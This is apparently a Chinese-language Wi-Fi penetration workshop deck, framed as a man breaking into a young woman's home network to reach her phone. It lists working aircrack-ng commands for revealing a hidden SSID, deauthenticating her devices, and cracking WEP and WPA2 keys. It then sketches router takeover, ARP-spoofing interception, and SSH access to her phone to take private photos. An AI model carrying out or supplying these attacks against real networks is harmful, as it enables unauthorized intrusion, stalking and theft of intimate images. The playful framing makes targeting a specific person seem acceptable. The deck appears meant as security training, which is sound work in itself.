
偷偷連上你的手機 ─
闖關式無線網路滲透實務



事 前 準 備 單元
內容滲 透 三 部 曲



01 事前準備

W i f i 無線網路滲透實務



小明要駭進正妹的Wifi，

要先知道對方的Wifi是哪個

如果對方的Wifi是隱藏的呢？

第 一 個 問 題



1. 會不斷廣播自己的SSID

2. 知道SSID就能嘗試進行連線

3. 連線時會需要密碼

標準A P連線程序



1. 不會廣播自己的SSID，在被呼

叫之前都是隱藏的

2. 隱藏起SSID就無法被找到，不

能被連線，也無法破解密碼

H i d d e n  S S I D  連線程序



隱藏了自己的SSID正妹知道SSID

前鬼！

在此現臨！





H i d d e n  S S I D  破解原理

1. 開啟監控模式

2. 鎖定目標AP

3. 等待客戶端連線

4. 取得明文隱藏 SSID

目標AP



1. 一台電腦

2. VM虛擬機

3. 支援檢測工具的作業系統 ─ Kali Linux

4. 支援作業系統與工具的無線網卡

需要準備



無 線 網 卡 5 種 模 式

AP模式 Client模式 監控模式

類似開啟熱點，讓

別人可以連到自己

可以連上Wifi，網

卡預設模式

所有數據包無過濾

地傳送到網卡

WDS模式 AD-hoc模式



Aircrack-ng可以工作在任何支

援監聽模式的無線網卡上，主要

功能有：網路偵測，封包嗅探，

WEP和WPA/WPA2-PSK破解。

使用工具─A i r c r a c k - n g  S u i t e



03 滲透三部曲

W i f i 無線網路滲透實務



任務一

找到正妹隱藏起來的Wifi名稱



開始尋找W i f i

1. 插上無線網卡，打開Kali VM

2. 確認VM有吃到網卡（網卡名稱為wlan0）



開始尋找W i f i

3. 開啟網卡監控模式

airmon-ng start wlan0

4. 確認網卡是否成為監控模式（網卡名稱變成wlan0mon）

iwconfig

5. 將目前所有網卡偵測到的網路列出

airodump-ng wlan0mon



開始尋找W i f i

ESSID
MAC

BSSID 訊號強度
頻道

Channel 加密方式

Hidden 

SSID

客戶端
資訊



PWR
-80-75-66-52-34-28-25-21-21-30-42-52-64-68-75-77

如 何 確 認 哪 個 是 正 妹 家 的 無 線 基 地 台



開始尋找W i f i

6. 確認正妹家的Wifi之後，濾除其他不要的雜訊

airodump-ng -c [AP_Channel] --bssid [AP_MAC_addr] wlan0mon

7. 等待正妹重新連線的那一刻……



隱藏了自己的SSID

正妹知道SSID 無法知道SSID

正 妹 不 重 連 ， 我 們 讓 她 重 連

??????

前鬼！ 在此現臨！

強制中斷連線



開始尋找W i f i

7. 強制中斷正妹連線，並重新連線

aireplay-ng -0 15 -a [AP_MAC_addr] -c [Client_MAC_addr] 

wlan0mon

取得正妹隱藏的Wifi名稱

Mission Completed！



任務二

破解正妹Wifi



WEP
WPA

WPA2

不同類型的W i f i加密方式



W E P加密流程

解密後的 Data：原文

金鑰
key

PRGA

RC4

Data + 

CRC32
CRC32

IV + 密文

密文

IV
24 bits

接
收
端

PRGA

RC4

初始向量 IV 金鑰 key

初始向量 IV  +  密碼 key 

（seed 64 / 128 bits）

傳
送
端

Data + 

CRC32

明文
Data

XOR

加密後的 Data：密文IV

stream key

XOR
stream key



W E P加密缺陷

1. IV 僅有1600萬種加密的可能性

攻擊者只要收集到這數量的封包，就能透過反推算的方式，算出WEP的金鑰

2. 金鑰重複使用

攻擊者可將兩段密文反推，消除金鑰的影響，可利用此方法推導出明文

3. RC4演算法本身的缺陷

攻擊者可將兩段密文反推，消除金鑰的影響，可利用此方法推導出明文

4. CRC32是線性的雜湊演算法

攻擊者可發起位元竄改攻擊，讓惡意使用者可以偽造攻擊來源或傳送端位址



✓ 已知目標 AP 的 SSID、BSSID 及 Channel

✓ 利用 airodump-ng 擷取目標AP封包

✓ 利用 aircrack-ng 破解密碼

✓ 利用 aireplay-ng 增加封包量

✓ 有客戶端連接時：ARP 封包重放攻擊

✓ 沒有客戶端連接時：fake authentication

???

???

<

任 務 1  打 倒 小 烏 龜



✓ 利用 airodump-ng 擷取封包

airodump-ng  -c  [AP_Channel]  --bssid [AP_MAC_addr] 

-w [檔案儲存的名稱]  wlan0mon

Terminal
A

Terminal 
B

✓ 利用 aircrack-ng 破解密碼

aircrack-ng [檔案儲存的名稱]

Terminal 
C

✓ 利用 aireplay-ng 製造 fake authentication，增加封包量

aireplay-ng -1 0 -e [AP_ESSID] -a [AP_MAC_addr] wlan0mon

aireplay-ng -3 -b [AP_MAC_addr] wlan0mon



--deauth count : deauthenticate 1 or all stations (-0)

--fakeauth delay : fake authentication with AP (-1)

--interactive : interactive frame selection (-2)

--arpreplay : standard ARP-request replay (-3)

--chopchop : decrypt/chopchop WEP packet (-4)

--fragment : generates valid keystream (-5)

--caffe-latte : query a client for new IVs (-6)

--cfrag : fragments against a client (-7)

--migmode : attacks WPA migration mode (-8)

--test : tests injection and quality (-9)

--deauth count : deauthenticate 1 or all stations (-0)

--fakeauth delay : fake authentication with AP (-1)

--arpreplay : standard ARP-request replay (-3)

只適用於WEP

不適用於 WPA / WPA2



任務 2 打倒庫巴

✓ 已知目標 AP 的 SSID、BSSID 及 Channel

✓ 利用 airodump-ng 擷取目標AP封包

✓ 利用 aircrack-ng 破解密碼

✓ 利用 aireplay-ng

✓ 有客戶端連接時：強制踢掉，使其重新連接

✓ 沒有客戶端連接時：靜靜地等待…

<

???

???

任 務 2  打 倒 庫 巴



W PA / W PA 2加密流程

1/4: ANonce

2/4: SNonce + MIC

3/4: GTK + MIC（key install）

4/4: key install ACK

IEEE 802.1X認證過程
將PSK當成PMK

PSK（PSK，Pre-Shared Key）

金鑰，所謂的 wifi 密碼

PMK（Pairwise Master Key）

使用共享金鑰的方式，PSK 就是 PMK

PTK（Pairwise Transient Key）

用於 unicast 封包的加密

GTK（Group Temporal Key）

用於廣播類型的資料封包的加密

MIC（Message Integrity Code）

用於檢查資料完整性



✓ 利用 airodump-ng 擷取封包

airodump-ng  -c  [AP_Channel]  --bssid

[AP_MAC_addr] -w [檔案儲存的名稱]  wlan0mon

Terminal
A

Terminal 
B

✓ 利用 aircrack-ng 破解密碼

aircrack-ng -w [字典檔名稱] [檔案儲存的名稱]

Terminal 
C

✓ 利用 aireplay-ng 將目標AP的客戶端強制踢下線

aireplay-ng -0 15 -a [AP_MAC_addr] -c [Client_MAC_addr] 

wlan0mon --ignore-negative-one

擷取到四次握手後

Terminal A 會顯示

[WPA handshake: 

00:11:22:33:AA:BB]

破解正妹Wifi

Mission Completed！



任務三

取得正妹私人照片



1. 取得 AP 主控權，修改網路設定

攻擊 AP 預設 Web 管理介面（預設帳密、已知弱點、弱密碼）

嘗試取得 AP 主控權，以觀看連線狀態、修改AP設定值

2. 掃描主機，橫向移動取得權限

掃描區網內存活主機所開啟之服務、作業系統版本等資訊

針對不同服務進行滲透攻擊，嘗試橫向移動至其他主機

3. 中間人攻擊，取得機敏資料

利用 ARP Spoofing 執行中間人攻擊

嘗試取得帳號密碼等機敏資訊

連線至相同W i f i後，可以… .



掃描存活裝置



⚫ 22 SSH port

⚫ Root/JB手機

⚫ WinSCP

入侵正妹手機



取得正妹照片

Mission Completed！


